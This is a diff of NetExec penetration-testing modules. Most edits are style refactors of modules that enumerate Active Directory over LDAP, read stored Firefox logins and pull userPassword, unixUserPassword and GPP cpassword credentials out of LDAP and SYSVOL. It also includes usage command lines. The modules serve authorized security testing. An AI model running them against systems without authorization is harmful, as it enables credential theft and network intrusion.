description = "I do something"
supported_protocols = [] # Example: ['smb', 'mssql']
supported_protocols = [] # Example: ['smb', 'mssql']
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def __init__(self):
self.context = None
self.module_options = None
def options(self, context, module_options):
"""Required.
Module options get parsed here. Additionally, put the modules usage here as well
"""
pass
def on_login(self, context, connection):
"""Concurrent.
@@ -30,43 +27,39 @@ class NXCModule:
"""
# Logging best practice
# Mostly you should use these functions to display information to the user
context.log.display("I'm doing something") # Use this for every normal message ([*] I'm doing something)
context.log.success("I'm doing something") # Use this for when something succeeds ([+] I'm doing something)
context.log.fail("I'm doing something") # Use this for when something fails ([-] I'm doing something), for example a remote registry entry is missing which is needed to proceed
context.log.highlight("I'm doing something") # Use this for when something is important and should be highlighted, printing credentials for example
context.log.display("I'm doing something") # Use this for every normal message ([*] I'm doing something)
context.log.success("I'm doing something") # Use this for when something succeeds ([+] I'm doing something)
context.log.fail("I'm doing something") # Use this for when something fails ([-] I'm doing something), for example a remote registry entry is missing which is needed to proceed
context.log.highlight("I'm doing something") # Use this for when something is important and should be highlighted, printing credentials for example
# These are for debugging purposes
context.log.info("I'm doing something") # This will only be displayed if the user has specified the --verbose flag, so add additional info that might be useful
context.log.debug("I'm doing something") # This will only be displayed if the user has specified the --debug flag, so add info that you would might need for debugging errors
context.log.info("I'm doing something") # This will only be displayed if the user has specified the --verbose flag, so add additional info that might be useful
context.log.debug("I'm doing something") # This will only be displayed if the user has specified the --debug flag, so add info that you would might need for debugging errors
# These are for more critical error handling
context.log.error("I'm doing something") # This will not be printed in the module context and should only be used for critical errors (e.g. a required python file is missing)
context.log.error("I'm doing something") # This will not be printed in the module context and should only be used for critical errors (e.g. a required python file is missing)
try:
raise Exception("Exception that might occure")
raise Exception("Exception that might have occurred")
except Exception as e:
context.log.exception(f"Exception occured: {e}") # This will display an exception traceback screen after an exception was raised and should only be used for critical errors
context.log.exception(f"Exception occurred: {e}") # This will display an exception traceback screen after an exception was raised and should only be used for critical errors
def on_admin_login(self, context, connection):
"""Concurrent.
Required if on_login is not present
This gets called on each authenticated connection with Administrative privileges
"""
pass
def on_request(self, context, request):
"""Optional.
If the payload needs to retrieve additional files, add this function to the module
"""
pass
def on_response(self, context, response):
"""Optional.
If the payload sends back its output to our server, add this function to the module to handle its output
"""
pass
def on_shutdown(self, context, connection):
"""Optional.
Do something on shutdown
"""
pass
+48 -53
View File
@@ -1,85 +1,80 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import socket
from nxc.logger import nxc_logger
from impacket.ldap.ldap import LDAPSearchError
from impacket.ldap.ldapasn1 import SearchResultEntry
import sys
class NXCModule:
'''
Module by CyberCelt: @Cyb3rC3lt
Initial module:
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
'''
name = 'find-computer'
description = 'Finds computers in the domain via the provided text'
supported_protocols = ['ldap']
class NXCModule:
"""
Module by CyberCelt: @Cyb3rC3lt
Initial module:
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
"""
name = "find-computer"
description = "Finds computers in the domain via the provided text"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):
'''
"""
find-computer: Specify find-computer to call the module
TEXT: Specify the TEXT option to enter your text to search for
Usage: nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="server"
nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="SQL"
'''
"""
self.TEXT = ""
self.TEXT = ''
if 'TEXT' in module_options:
self.TEXT = module_options['TEXT']
if "TEXT" in module_options:
self.TEXT = module_options["TEXT"]
else:
context.log.error('TEXT option is required!')
exit(1)
context.log.error("TEXT option is required!")
sys.exit(1)
def on_login(self, context, connection):
# Building the search filter
searchFilter = "(&(objectCategory=computer)(&(|(operatingSystem=*"+self.TEXT+"*)(name=*"+self.TEXT+"*))))"
search_filter = f"(&(objectCategory=computer)(&(|(operatingSystem=*{self.TEXT}*))(name=*{self.TEXT}*)))"
try:
context.log.debug('Search Filter=%s' % searchFilter)
resp = connection.ldapConnection.search(searchFilter=searchFilter,
attributes=['dNSHostName','operatingSystem'],
sizeLimit=0)
except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find('sizeLimitExceeded') >= 0:
context.log.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
context.log.debug(f"Search Filter={search_filter}")
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
except LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
resp = e.getAnswers()
pass
else:
logging.debug(e)
nxc_logger.debug(e)
return False
answers = []
context.log.debug('Total no. of records returned %d' % len(resp))
context.log.debug(f"Total no. of records returned: {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
if isinstance(item, SearchResultEntry) is not True:
continue
dNSHostName = ''
operatingSystem = ''
dns_host_name = ""
operating_system = ""
try:
for attribute in item['attributes']:
if str(attribute['type']) == 'dNSHostName':
dNSHostName = str(attribute['vals'][0])
elif str(attribute['type']) == 'operatingSystem':
operatingSystem = attribute['vals'][0]
if dNSHostName != '' and operatingSystem != '':
answers.append([dNSHostName,operatingSystem])
for attribute in item["attributes"]:
if str(attribute["type"]) == "dNSHostName":
dns_host_name = str(attribute["vals"][0])
elif str(attribute["type"]) == "operatingSystem":
operating_system = attribute["vals"][0]
if dns_host_name != "" and operating_system != "":
answers.append([dns_host_name, operating_system])
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug('Skipping item, cannot process due to error %s' % str(e))
pass
context.log.debug(f"Skipping item, cannot process due to error {e}")
if len(answers) > 0:
context.log.success('Found the following computers: ')
context.log.success("Found the following computers: ")
for answer in answers:
try:
IP = socket.gethostbyname(answer[0])
context.log.highlight(u'{} ({}) ({})'.format(answer[0],answer[1],IP))
context.log.debug('IP found')
except socket.gaierror as e:
context.log.debug('Missing IP')
context.log.highlight(u'{} ({}) ({})'.format(answer[0],answer[1],"No IP Found"))
ip = socket.gethostbyname(answer[0])
context.log.highlight(f"{answer[0]} ({answer[1]}) ({ip})")
context.log.debug("IP found")
except socket.gaierror:
context.log.debug("Missing IP")
context.log.highlight(f"{answer[0]} ({answer[1]}) (No IP Found)")
else:
context.log.success('Unable to find any computers with the text "' + self.TEXT + '"')
context.log.success(f"Unable to find any computers with the text {self.TEXT}")
+2 -5
View File
@@ -1,4 +1,3 @@
#!/usr/bin/env python3
from dploot.lib.target import Target
from nxc.protocols.smb.firefox import FirefoxTriage
@@ -18,7 +17,6 @@ class NXCModule:
def options(self, context, module_options):
"""Dump credentials from Firefox"""
pass
def on_admin_login(self, context, connection):
host = connection.hostname + "." + connection.domain
@@ -50,8 +48,7 @@ class NXCModule:
firefox_credentials = firefox_triage.run()
for credential in firefox_credentials:
context.log.highlight(
"[%s][FIREFOX] %s %s:%s"
% (
"[{}][FIREFOX] {} {}:{}".format(
credential.winuser,
credential.url + " -" if credential.url != "" else "-",
credential.username,
@@ -59,4 +56,4 @@ class NXCModule:
)
)
except Exception as e:
context.log.debug("Error while looting firefox: {}".format(e))
context.log.debug(f"Error while looting firefox: {e}")
+11 -15
View File
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
import re
@@ -34,7 +31,7 @@ class NXCModule:
self.MINLENGTH = module_options["MINLENGTH"]
if "PASSWORDPOLICY" in module_options:
self.PASSWORDPOLICY = True
self.regex = re.compile("((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
self.regex = re.compile(r"((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}$") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
def on_login(self, context, connection):
"""Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
@@ -42,7 +39,7 @@ class NXCModule:
searchFilter = "(objectclass=user)"
try:
context.log.debug("Search Filter=%s" % searchFilter)
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "description"],
@@ -54,13 +51,12 @@ class NXCModule:
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e.getAnswers()
pass
else:
nxc_logger.debug(e)
return False
answers = []
context.log.debug("Total of records returned %d" % len(resp))
context.log.debug(f"Total of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
@@ -76,13 +72,12 @@ class NXCModule:
answers.append([sAMAccountName, description])
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug("Skipping item, cannot process due to error %s" % str(e))
pass
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
answers = self.filter_answer(context, answers)
if len(answers) > 0:
context.log.success("Found following users: ")
for answer in answers:
context.log.highlight("User: {} description: {}".format(answer[0], answer[1]))
context.log.highlight(f"User: {answer[0]} description: {answer[1]}")
def filter_answer(self, context, answers):
# No option to filter
@@ -107,10 +102,11 @@ class NXCModule:
if self.regex.search(description):
conditionPasswordPolicy = True
if self.FILTER and conditionFilter and self.PASSWORDPOLICY and conditionPasswordPolicy:
answersFiltered.append([answer[0], description])
elif not self.FILTER and self.PASSWORDPOLICY and conditionPasswordPolicy:
answersFiltered.append([answer[0], description])
elif not self.PASSWORDPOLICY and self.FILTER and conditionFilter:
if conditionFilter and not self.PASSWORDPOLICY:
context.log.highlight(f"'{self.FILTER}' found in description: '{description}'")
elif (self.FILTER == "" and (conditionPasswordPolicy == self.PASSWORDPOLICY)):
answersFiltered.append([answer[0], description])
elif (self.FILTER != "" and conditionFilter) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
context.log.highlight(f"'{self.FILTER}' found in user: '{answer[0]}' description: '{description}'")
return answersFiltered
@@ -1,17 +1,18 @@
# Credit to https://twitter.com/snovvcrash/status/1550518555438891009
# Credit to https://github.com/dirkjanm/adidnsdump @_dirkjan
# module by @mpgn_x64
import re
from os.path import expanduser
import codecs
import socket
from builtins import str
from datetime import datetime
from struct import unpack
import dns.name
import dns.resolver
from impacket.ldap import ldap
from impacket.structure import Structure
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from ldap3 import LEVEL
@@ -37,13 +38,13 @@ def get_dns_resolver(server, context):
server = server[8:]
socket.inet_aton(server)
dnsresolver.nameservers = [server]
except socket.error:
context.info("Using System DNS to resolve unknown entries. Make sure resolving your" " target domain works here or specify an IP as target host to use that" " server for queries")
except OSError:
context.info("Using System DNS to resolve unknown entries. Make sure resolving your target domain works here or specify an IP as target host to use that server for queries")
return dnsresolver
def ldap2domain(ldap):
return re.sub(",DC=", ".", ldap[ldap.lower().find("dc=") :], flags=re.I)[3:]
return re.sub(",DC=", ".", ldap[ldap.lower().find("dc="):], flags=re.I)[3:]
def new_record(rtype, serial):
@@ -51,7 +52,7 @@ def new_record(rtype, serial):
nr["Type"] = rtype
nr["Serial"] = serial
nr["TtlSeconds"] = 180
# From authoritive zone
# From authoritative zone
nr["Rank"] = 240
return nr
@@ -82,17 +83,16 @@ def searchResEntry_to_dict(results):
class NXCModule:
name = "get-network"
description = ""
description = "Query all DNS records with the corresponding IP from the domain."
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
ALL Get DNS and IP (default: false)
ALL Get DNS and IP (default: false)
ONLY_HOSTS Get DNS only (no ip) (default: false)
"""
self.showall = False
self.showhosts = False
self.showip = True
@@ -115,29 +115,27 @@ class NXCModule:
def on_login(self, context, connection):
zone = ldap2domain(connection.baseDN)
dnsroot = "CN=MicrosoftDNS,DC=DomainDnsZones,%s" % connection.baseDN
searchtarget = "DC=%s,%s" % (zone, dnsroot)
dns_root = f"CN=MicrosoftDNS,DC=DomainDnsZones,{connection.baseDN}"
search_target = f"DC={zone},{dns_root}"
context.log.display("Querying zone for records")
sfilter = "(DC=*)"
try:
list_sites = connection.ldapConnection.search(
searchBase=searchtarget,
searchBase=search_target,
searchFilter=sfilter,
attributes=["dnsRecord", "dNSTombstoned", "name"],
sizeLimit=100000,
)
except ldap.LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the" " data received")
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
list_sites = e.getAnswers()
pass
else:
raise
targetentry = None
dnsresolver = get_dns_resolver(connection.host, context.log)
get_dns_resolver(connection.host, context.log)
outdata = []
@@ -168,7 +166,7 @@ class NXCModule:
{
"name": recordname,
"type": RECORD_TYPE_MAPPING[dr["Type"]],
"value": address[list(address.fields)[0]].toFqdn(),
"value": address[next(iter(address.fields))].toFqdn(),
}
)
elif dr["Type"] == 28:
@@ -182,19 +180,19 @@ class NXCModule:
}
)
context.log.highlight("Found %d records" % len(outdata))
path = expanduser("~/.nxc/logs/{}_network_{}.log".format(connection.domain, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
context.log.highlight(f"Found {len(outdata)} records")
path = expanduser(f"~/.nxc/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
with codecs.open(path, "w", "utf-8") as outfile:
for row in outdata:
if self.showhosts:
outfile.write("{}\n".format(row["name"] + "." + connection.domain))
outfile.write(f"{row['name'] + '.' + connection.domain}\n")
elif self.showall:
outfile.write("{} \t {}\n".format(row["name"] + "." + connection.domain, row["value"]))
outfile.write(f"{row['name'] + '.' + connection.domain} \t {row['value']}\n")
else:
outfile.write("{}\n".format(row["value"]))
context.log.success("Dumped {} records to {}".format(len(outdata), path))
outfile.write(f"{row['value']}\n")
context.log.success(f"Dumped {len(outdata)} records to {path}")
if not self.showall and not self.showhosts:
context.log.display("To extract CIDR from the {} ip, run the following command: cat" " your_file | mapcidr -aa -silent | mapcidr -a -silent".format(len(outdata)))
context.log.display(f"To extract CIDR from the {len(outdata)} ip, run the following command: cat your_file | mapcidr -aa -silent | mapcidr -a -silent")
class DNS_RECORD(Structure):
@@ -250,9 +248,9 @@ class DNS_COUNT_NAME(Structure):
def toFqdn(self):
ind = 0
labels = []
for i in range(self["LabelCount"]):
nextlen = unpack("B", self["RawName"][ind : ind + 1])[0]
labels.append(self["RawName"][ind + 1 : ind + 1 + nextlen].decode("utf-8"))
for _i in range(self["LabelCount"]):
nextlen = unpack("B", self["RawName"][ind: ind + 1])[0]
labels.append(self["RawName"][ind + 1: ind + 1 + nextlen].decode("utf-8"))
ind += nextlen + 1
# For the final dot
labels.append("")
+63
View File
@@ -0,0 +1,63 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
from nxc.logger import nxc_logger
class NXCModule:
"""
Get unixUserPassword attribute from all users in ldap
Module by @SyzikSecu
"""
name = "get-unixUserPassword"
description = "Get unixUserPassword attribute from all users in ldap"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
"""
def on_login(self, context, connection):
searchFilter = "(objectclass=user)"
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "unixUserPassword"],
sizeLimit=0,
)
except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
resp = e.getAnswers()
else:
nxc_logger.debug(e)
return False
answers = []
context.log.debug(f"Total of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
sAMAccountName = ""
unixUserPassword = []
try:
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute["vals"][0])
elif str(attribute["type"]) == "unixUserPassword":
unixUserPassword = [str(i) for i in attribute["vals"]]
if sAMAccountName != "" and len(unixUserPassword) > 0:
answers.append([sAMAccountName, unixUserPassword])
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
if len(answers) > 0:
context.log.success("Found following users: ")
for answer in answers:
context.log.highlight(f"User: {answer[0]} unixUserPassword: {answer[1]}")
else:
context.log.fail("No unixUserPassword Found")
+63
View File
@@ -0,0 +1,63 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
from nxc.logger import nxc_logger
class NXCModule:
"""
Get userPassword attribute from all users in ldap
Module by @SyzikSecu
"""
name = "get-userPassword"
description = "Get userPassword attribute from all users in ldap"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
"""
def on_login(self, context, connection):
searchFilter = "(objectclass=user)"
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "userPassword"],
sizeLimit=0,
)
except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
resp = e.getAnswers()
else:
nxc_logger.debug(e)
return False
answers = []
context.log.debug(f"Total of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
sAMAccountName = ""
userPassword = []
try:
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute["vals"][0])
elif str(attribute["type"]) == "userPassword":
userPassword = [str(i) for i in attribute["vals"]]
if sAMAccountName != "" and len(userPassword) > 0:
answers.append([sAMAccountName, userPassword])
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
if len(answers) > 0:
context.log.success("Found following users: ")
for answer in answers:
context.log.highlight(f"User: {answer[0]} userPassword: {answer[1]}")
else:
context.log.fail("No userPassword Found")
+3 -9
View File
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from datetime import datetime
from nxc.helpers.logger import write_log
import json
@@ -20,14 +17,11 @@ class NXCModule:
multiple_hosts = True
def options(self, context, module_options):
"""
No options
"""
pass
"""No options"""
def on_admin_login(self, context, connection):
data = []
cards = connection.wmi(f"select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
cards = connection.wmi("select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
if cards:
for c in cards:
if c["IPAddress"].get("value"):
@@ -35,6 +29,6 @@ class NXCModule:
data.append(cards)
log_name = "network-connections-{}-{}.log".format(connection.host, datetime.now().strftime("%Y-%m-%d_%H%M%S"))
log_name = f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
write_log(json.dumps(data), log_name)
context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}")
+5 -8
View File
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import xml.etree.ElementTree as ET
from io import BytesIO
@@ -30,7 +27,7 @@ class NXCModule:
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
for path in paths:
context.log.display("Found {}".format(path))
context.log.display(f"Found {path}")
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
@@ -56,7 +53,7 @@ class NXCModule:
domains.append(attrs["value"])
if usernames or passwords:
context.log.success("Found credentials in {}".format(path))
context.log.highlight("Usernames: {}".format(usernames))
context.log.highlight("Domains: {}".format(domains))
context.log.highlight("Passwords: {}".format(passwords))
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Usernames: {usernames}")
context.log.highlight(f"Domains: {domains}")
context.log.highlight(f"Passwords: {passwords}")
+5 -11
View File
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import xml.etree.ElementTree as ET
from Cryptodome.Cipher import AES
from base64 import b64decode
@@ -43,7 +40,7 @@ class NXCModule:
)
for path in paths:
context.log.display("Found {}".format(path))
context.log.display(f"Found {path}")
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
@@ -57,10 +54,7 @@ class NXCModule:
sections.append("./NTService/Properties")
elif "ScheduledTasks.xml" in path:
sections.append("./Task/Properties")
sections.append("./ImmediateTask/Properties")
sections.append("./ImmediateTaskV2/Properties")
sections.append("./TaskV2/Properties")
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
elif "DataSources.xml" in path:
sections.append("./DataSource/Properties")
@@ -88,11 +82,11 @@ class NXCModule:
password = self.decrypt_cpassword(props["cpassword"])
context.log.success("Found credentials in {}".format(path))
context.log.highlight("Password: {}".format(password))
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Password: {password}")
for k, v in props.items():
if k != "cpassword":
context.log.highlight("{}: {}".format(k, v))
context.log.highlight(f"{k}: {v}")
hostid = context.db.get_hosts(connection.host)[0][0]
context.db.add_credential(
+91
View File
@@ -0,0 +1,91 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
import sys
class NXCModule:
"""
Module by CyberCelt: @Cyb3rC3lt
Initial module:
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
"""
name = "group-mem"
description = "Retrieves all the members within a Group"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
primaryGroupID = ""
answers = []
def options(self, context, module_options):
"""
group-mem: Specify group-mem to call the module
GROUP: Specify the GROUP option to query for that group's members
Usage: nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain admins"
nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain controllers"
"""
self.GROUP = ""
if "GROUP" in module_options:
self.GROUP = module_options["GROUP"]
else:
context.log.error("GROUP option is required!")
sys.exit(1)
def on_login(self, context, connection):
# First look up the SID of the group passed in
search_filter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
attribute = "objectSid"
search_result = do_search(self, context, connection, search_filter, attribute)
# If no SID for the Group is returned exit the program
if search_result is None:
context.log.success('Unable to find any members of the "' + self.GROUP + '" group')
return True
# Convert the binary SID to a primaryGroupID string to be used further
sid_string = connection.sid_to_str(search_result).split("-")
self.primaryGroupID = sid_string[-1]
# Look up the groups DN
search_filter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
attribute = "distinguishedName"
distinguished_name = (do_search(self, context, connection, search_filter, attribute)).decode("utf-8")
# Carry out the search
search_filter = "(|(memberOf=" + distinguished_name + ")(primaryGroupID=" + self.primaryGroupID + "))"
attribute = "sAMAccountName"
search_result = do_search(self, context, connection, search_filter, attribute)
if len(self.answers) > 0:
context.log.success("Found the following members of the " + self.GROUP + " group:")
for answer in self.answers:
context.log.highlight(f"{answer[0]}")
# Carry out an LDAP search for the Group with the supplied Group name
def do_search(self, context, connection, searchFilter, attributeName):
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
context.log.debug(f"Total number of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
attribute_value = ""
try:
for attribute in item["attributes"]:
if str(attribute["type"]) == attributeName:
if attributeName in ["objectSid", "distinguishedName"]:
return bytes(attribute["vals"][0])
else:
attribute_value = str(attribute["vals"][0])
if attribute_value is not None:
self.answers.append([attribute_value])
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug(f"Skipping item, cannot process due to error {e}")
except Exception as e:
context.log.debug(f"Exception: {e}")
return False
-100
View File
@@ -1,100 +0,0 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from impacket.ldap import ldapasn1 as ldapasn1_impacket
class NXCModule:
'''
Module by CyberCelt: @Cyb3rC3lt
Initial module:
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
'''
name = 'group-mem'
description = 'Retrieves all the members within a Group'
supported_protocols = ['ldap']
opsec_safe = True
multiple_hosts = False
primaryGroupID = ''
answers = []
def options(self, context, module_options):
'''
group-mem: Specify group-mem to call the module
GROUP: Specify the GROUP option to query for that group's members
Usage: nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain admins"
nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain controllers"
'''
self.GROUP = ''
if 'GROUP' in module_options:
self.GROUP = module_options['GROUP']
else:
context.log.error('GROUP option is required!')
exit(1)
def on_login(self, context, connection):
#First look up the SID of the group passed in
searchFilter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
attribute = "objectSid"
searchResult = doSearch(self, context, connection, searchFilter, attribute)
#If no SID for the Group is returned exit the program
if searchResult is None:
context.log.success('Unable to find any members of the "' + self.GROUP + '" group')
return True
# Convert the binary SID to a primaryGroupID string to be used further
sidString = connection.sid_to_str(searchResult).split("-")
self.primaryGroupID = sidString[-1]
#Look up the groups DN
searchFilter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
attribute = "distinguishedName"
distinguishedName = (doSearch(self, context, connection, searchFilter, attribute)).decode("utf-8")
# Carry out the search
searchFilter = "(|(memberOf="+distinguishedName+")(primaryGroupID="+self.primaryGroupID+"))"
attribute = "sAMAccountName"
searchResult = doSearch(self, context, connection, searchFilter, attribute)
if len(self.answers) > 0:
context.log.success('Found the following members of the ' + self.GROUP + ' group:')
for answer in self.answers:
context.log.highlight(u'{}'.format(answer[0]))
# Carry out an LDAP search for the Group with the supplied Group name
def doSearch(self,context, connection,searchFilter,attributeName):
try:
context.log.debug('Search Filter=%s' % searchFilter)
resp = connection.ldapConnection.search(searchFilter=searchFilter,
attributes=[attributeName],
sizeLimit=0)
context.log.debug('Total no. of records returned %d' % len(resp))
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
attributeValue = '';
try:
for attribute in item['attributes']:
if str(attribute['type']) == attributeName:
if attributeName == "objectSid":
attributeValue = bytes(attribute['vals'][0])
return attributeValue;
elif attributeName == "distinguishedName":
attributeValue = bytes(attribute['vals'][0])
return attributeValue;
else:
attributeValue = str(attribute['vals'][0])
if attributeValue is not None:
self.answers.append([attributeValue])
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug('Skipping item, cannot process due to error %s' % str(e))
pass
except Exception as e:
context.log.debug("Exception:", e)
return False
+11 -22
View File
@@ -1,8 +1,6 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
import sys
class NXCModule:
@@ -21,27 +19,24 @@ class NXCModule:
multiple_hosts = True
def options(self, context, module_options):
"""
USER Choose a username to query group membership
"""
"""USER Choose a username to query group membership"""
self.user = ""
if "USER" in module_options:
if module_options["USER"] == "":
context.log.fail("Invalid value for USER option!")
exit(1)
sys.exit(1)
self.user = module_options["USER"]
else:
context.log.fail("Missing USER option, use --options to list available parameters")
exit(1)
sys.exit(1)
def on_login(self, context, connection):
"""Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
# Building the search filter
searchFilter = "(&(objectClass=user)(sAMAccountName={}))".format(self.user)
searchFilter = f"(&(objectClass=user)(sAMAccountName={self.user}))"
try:
context.log.debug("Search Filter=%s" % searchFilter)
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(
searchFilter=searchFilter,
attributes=["memberOf", "primaryGroupID"],
@@ -53,7 +48,6 @@ class NXCModule:
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e.getAnswers()
pass
else:
context.log.debug(e)
return False
@@ -61,7 +55,7 @@ class NXCModule:
memberOf = []
primaryGroupID = ""
context.log.debug("Total of records returned %d" % len(resp))
context.log.debug(f"Total of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
@@ -75,16 +69,12 @@ class NXCModule:
if str(primaryGroupID) == "513":
memberOf.append("CN=Domain Users,CN=Users,DC=XXXXX,DC=XXX")
elif str(attribute["type"]) == "memberOf":
for group in attribute["vals"]:
if isinstance(group._value, bytes):
memberOf.append(str(group))
memberOf += [str(group) for group in attribute["vals"] if isinstance(group._value, bytes)]
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug("Skipping item, cannot process due to error %s" % str(e))
pass
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
if len(memberOf) > 0:
context.log.success("User: {} is member of following groups: ".format(self.user))
context.log.success(f"User: {self.user} is member of following groups: ")
for group in memberOf:
# Split the string on the "," character to get a list of the group name and parent group names
group_parts = group.split(",")
@@ -93,5 +83,4 @@ class NXCModule:
# and splitting it on the "=" character to get a list of the group name and its prefix (e.g., "CN")
group_name = group_parts[0].split("=")[1]
